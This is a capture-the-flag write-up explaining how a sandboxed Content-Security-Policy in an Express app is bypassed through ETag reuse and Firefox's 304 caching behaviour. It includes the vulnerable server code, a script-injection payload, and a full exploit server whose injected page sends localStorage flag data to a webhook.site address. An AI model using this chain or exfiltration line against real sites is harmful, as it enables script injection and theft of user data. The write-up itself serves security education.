This writeup details an intriguing bypass of a sandboxed Content-Security-Policy (CSP) by leveraging ETag caching behavior. Originally designed by icesfont for an imaginary CTF, this challenge showcases how subtle header caching quirks—combined with inconsistent response headers—can be used to execute injected scripts.


Tl;Dr

  • The App: A simple ExpressJS web app lets users customize personal pages and toggle a “private” flag.
  • The Vulnerability: The /user/:id endpoint responds differently based on the privacy setting, yet reuses the same ETag. This inconsistency, along with browser caching (notably in Firefox), leads to a CSP bypass.
  • The Exploit: By orchestrating a sequence of requests that toggles the privacy state, an attacker forces the browser to mix cached permissive headers with a new response—allowing injected scripts to run.
  • The Outcome: A carefully crafted attack chain using an attacker-controlled server automates the bypass, subverting the sandbox and executing malicious JavaScript.

Challenge Description

The challenge is built around an ExpressJS application that allows users to update and view their personal pages. Key endpoints include:

  • GET /
    Renders a homepage with the user’s current settings.

  • POST /update
    Lets users update three parameters:

    • username (string)
    • page (string) — the HTML content of their page
    • private (boolean) — controls the page’s visibility
  • GET /user/:id
    Serves the customized page. The response behavior varies:

    • For non-owners, if the page is marked as private, the response is sent as plain text.
    • For the owner, the response includes a CSP header set to sandbox; and delivers the page as HTML.
  • GET /me and GET /report
    Provide additional functionality for user redirection and bot reporting.

Below is an excerpt of the main server code (index.js) highlighting the session initialization and the vulnerable /user/:id endpoint:

// index.js (Excerpt)
const express = require("express");
const session = require("express-session");
const crypto = require("crypto");
const fs = require("fs");
const { v4: uuidv4 } = require("uuid");

const app = express();
const users = new Map();
const DEFAULT_PAGE = fs.readFileSync(`${__dirname}/default-page.html`, "utf8");

app.use(session({
    secret: crypto.randomBytes(16),
    resave: false,
    saveUninitialized: true
}));
app.use(express.json());
app.set("view engine", "hbs");

// Session initialization middleware
app.use((req, res, next) => {
    if (!req.session.uid || !users.has(req.session.uid)) {
        req.session.uid = uuidv4();
        users.set(req.session.uid, {
            id: req.session.uid,
            username: "anonymous",
            page: DEFAULT_PAGE,
            private: false
        });
    }
    req.user = users.get(req.session.uid);
    res.set("Content-Security-Policy", "script-src 'self';");
    next();
});

// Serve user pages with different behaviors based on privacy
app.get("/user/:id", (req, res) => {
    let user = users.get(req.params.id);

    if (!user) {
        res.set("Content-Type", "text/plain");
        res.send("user does not exist");
        return;
    }
    if (user.private && user.id !== req.user.id) {
        res.set("Content-Type", "text/plain");
        res.send(`cannot view ${user.username}'s page`);
        return;
    }

    res.set("Content-Security-Policy", "sandbox;");
    res.send(user.page);
});

app.listen(1337, () => {
    console.log("listening at http://localhost:1337");
});

Vulnerable Part

The vulnerability is rooted in several factors:

  1. Inconsistent Response Behavior:
    The /user/:id endpoint behaves differently depending on the viewer and the privacy setting:

    • Non-owner view of a private page:
      The response is sent as plain text with a default CSP (script-src 'self';), along with an error message:
      cannot view {USER}'s page
      
    • Owner view of their own page:
      The response is sent as HTML with a restrictive CSP (sandbox;).

    A key part of the strategy involves a deliberate payload construction trick:

    • The attacker sets the username to a malicious payload (e.g., <script src="${URL}"></script>)
    • Simultaneously, the page is set to exactly:
      cannot view <script src="${URL}"></script>'s page
      

    This mimics the error message returned for unauthorized access, setting the stage for header reuse.

  2. ETag Reuse:
    Despite the differences in headers and content type, the server reuses the same ETag for responses with the exact same body (that’s why the trick with setting page cannot view ${XSS}'s page - and user ${XSS} ) regardless of the privacy flag. For example:


    Response when private is true (non-owner view - server is showing the error):

    HTTP/1.1 200 OK
    Content-Security-Policy: script-src 'self'; 
    Content-Type: text/plain; charset=utf-8 
    ETag: W/"1c-6mIY3j+uI+6XwrlKbq+QONvYxZQ"
    
    cannot view ${XSS}'s page
    

    Response when private is false (owner view - server is showing the page content):

    HTTP/1.1 200 OK 
    Content-Security-Policy: sandbox; 
    Content-Type: text/html; charset=utf-8 
    ETag: W/"1c-6mIY3j+uI+6XwrlKbq+QONvYxZQ"
    
    cannot view ${XSS}'s page
    

  3. Exploiting Browser Caching Behavior:

    The twist comes from how browsers (notably Firefox) handle 304 (Not Modified) responses. Specifically, this issue on the W3C WebAppSec CSP repository explains that when a new CSP header is set on a 304 response, Firefox uses the new CSP header but reuses the cached Content-Type header.

    In practice, this means that if the attacker toggles the page from public to private, the second request (which receives a 304 response because of the same ETag) will present :

    • A less restrictive CSP (script-src 'self') from the new response
    • A Content-Type of text/plain from the new response.

    But Firefox will act considering the following headers:

    • CSP (script-src 'self') from the new response
    • A Content-Type of text/html from the previous response.

    This mismatch allows the injected <script> (embedded in the username) to execute despite the intended sandbox.

Together, the payload trick, ETag reuse, and browser caching quirks form the crux of the vulnerability.


Solution

Here’s a high-level overview of the exploit chain:

  1. Session Initialization:

    The attacker starts by sending a GET request to / to initialize a session and capture the session cookie.

  2. Initial Payload Setup:

    A POST request is sent to /update to set the user’s page content. The payload includes an injected script tag that references a URL controlled by the attacker. At this stage, the page is set to public (or non-private) so that it’s served as HTML with the permissive CSP.

  3. Retrieving the Redirect URL:

    The attacker then accesses /me, which redirects to /user/<session_id>, capturing the specific URL (stored as redirUrl) used to reference the injected script.

  4. Crafting the Injection with Dual Cookies:

    Using the cookie from the initial session (referred to as COOKIE_FIRST), another POST is made to /update with the payload structured as:

    {
        username: `<script src="${redirUrl}"></script>`,
        page: `cannot view <script src="${redirUrl}"></script>'s page`,
        private: false
    }
    

    This registers the malicious payload with the server.

  5. Triggering the CSP Bypass via Privacy Toggle:

    Finally, a subsequent request (again using COOKIE_FIRST) toggles the page’s privacy by setting private: true through another POST. This action causes the server to serve the response with the restrictive sandbox; CSP. However, due to the reused ETag and Firefox’s caching behavior—as discussed in issue #161—the browser reuses the previously cached Content-Type: text/html (and its permissive CSP) even though the new response indicates a sandbox. The injected <script> tag then executes, leading to a successful CSP bypass.

Exploit Server

The exploit chain is orchestrated via an Exploit server. Below is the core code (in Node/Express) that automates the necessary steps:

// support-server.js
const express = require('express');
const fetch = require('node-fetch');
const path = require('path');
const app = express();
const PORT = 80;

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

let redirUrl = '';      // Stores the URL for the injected script
let cookieFirst = '';   // Stores the initial session cookie
const challUrl = 'http://155.248.210.243:42136/'; // Challenge URL

app.get('/start', async (req, res) => {
    try {
        console.log('Received request on /start');

        
        console.log(`Sending GET request to ${challUrl}`);
        const firstResponse = await fetch(challUrl);
        cookieFirst = firstResponse.headers.get('set-cookie');
        console.log('Received cookieFirst:', cookieFirst);

        
        const updateBodyStep5 = {
            username: '',
            page: `fetch('https://webhook.site/your-unique-id/'+localStorage.getItem("flag"))`,
            private: false,
        };
        console.log(`Sending POST request to ${challUrl}update with body:`, updateBodyStep5);
        const updateResponse = await fetch(`${challUrl}update`, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(updateBodyStep5),
        });
        const cookieScript = updateResponse.headers.get('set-cookie');
        console.log('Received cookieScript:', cookieScript);

        
        console.log(`Sending GET request to ${challUrl}me`);
        const meResponse = await fetch(`${challUrl}me`, {
            headers: { Cookie: cookieScript },
            redirect: 'follow',
        });
        redirUrl = new URL(meResponse.url).pathname;
        console.log('Received redirUrl:', redirUrl);

        
        const updateBodyStep7 = {
            username: `<script src="${redirUrl}"></script>`,
            page: `cannot view <script src="${redirUrl}"></script>'s page`,
            private: false,
        };
        console.log(`Sending POST request to ${challUrl}update with body:`, updateBodyStep7);
        await fetch(`${challUrl}update`, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
                Cookie: cookieFirst,
            },
            body: JSON.stringify(updateBodyStep7),
        });

        
        console.log(`Sending GET request to ${challUrl}me with cookieFirst`);
        const finalResponse = await fetch(`${challUrl}me`, {
            headers: { Cookie: cookieFirst },
            redirect: 'follow',
        });
        const finalUrl = finalResponse.url;
        console.log('Received finalUrl:', finalUrl);

        res.json({ finalUrl });
    } catch (error) {
        console.error('Error:', error);
        res.status(500).send('Internal Server Error');
    }
});

app.get('/continue', async (req, res) => {
    try {
        console.log('Received request on /continue');

        const updateBodyStep12 = {
            username: `<script src="${redirUrl}"></script>`,
            page: `cannot view <script src="${redirUrl}"></script>'s page`,
            private: true,
        };
        console.log(`Sending POST request to ${challUrl}update with body:`, updateBodyStep12);
        await fetch(`${challUrl}update`, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
                Cookie: cookieFirst,
            },
            body: JSON.stringify(updateBodyStep12),
        });

        console.log('POST request on /continue completed');
        res.status(200).send('Step 12 completed');
    } catch (error) {
        console.error('Error:', error);
        res.status(500).send('Internal Server Error');
    }
});

app.listen(PORT, () => {
    console.log(`Server running on port ${PORT}`);
});

Additionally, an index.html file (served by the attacker-controlled server) triggers the exploit by coordinating the /start and /continue endpoints:

<!-- public/index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Async Script</title>
</head>
<body>
  <script>
    (async () => {
      const response = await fetch('/start');
      const data = await response.json();
      const finalUrl = data.finalUrl;
      console.log('Original finalUrl:', finalUrl);

      const urlPath = new URL(finalUrl).pathname;
      const newUrl = `http://localhost:1337${urlPath}`;
      console.log('New URL:', newUrl);

      const newWindow = window.open(newUrl);

      setTimeout(() => {
        if (newWindow) newWindow.close();
        fetch('/continue', { method: 'GET' }).then(() => {
          document.location = newUrl;
        });
      }, 500);
    })();
  </script>
</body>
</html>

Conclusion

This challenge is a brilliant demonstration of how nuanced differences in header caching and browser behavior can be exploited. By carefully orchestrating a sequence of requests to toggle the page’s privacy state, the attacker leverages reused ETag values and Firefox’s handling of 304 responses—as highlighted in W3C CSP issue #161—to bypass a seemingly airtight CSP sandbox.

Kudos to icesfont for designing such a clever challenge!


Deploy Challenge

If you’d like to try the challenge for yourself, click the link below:

Deploy Now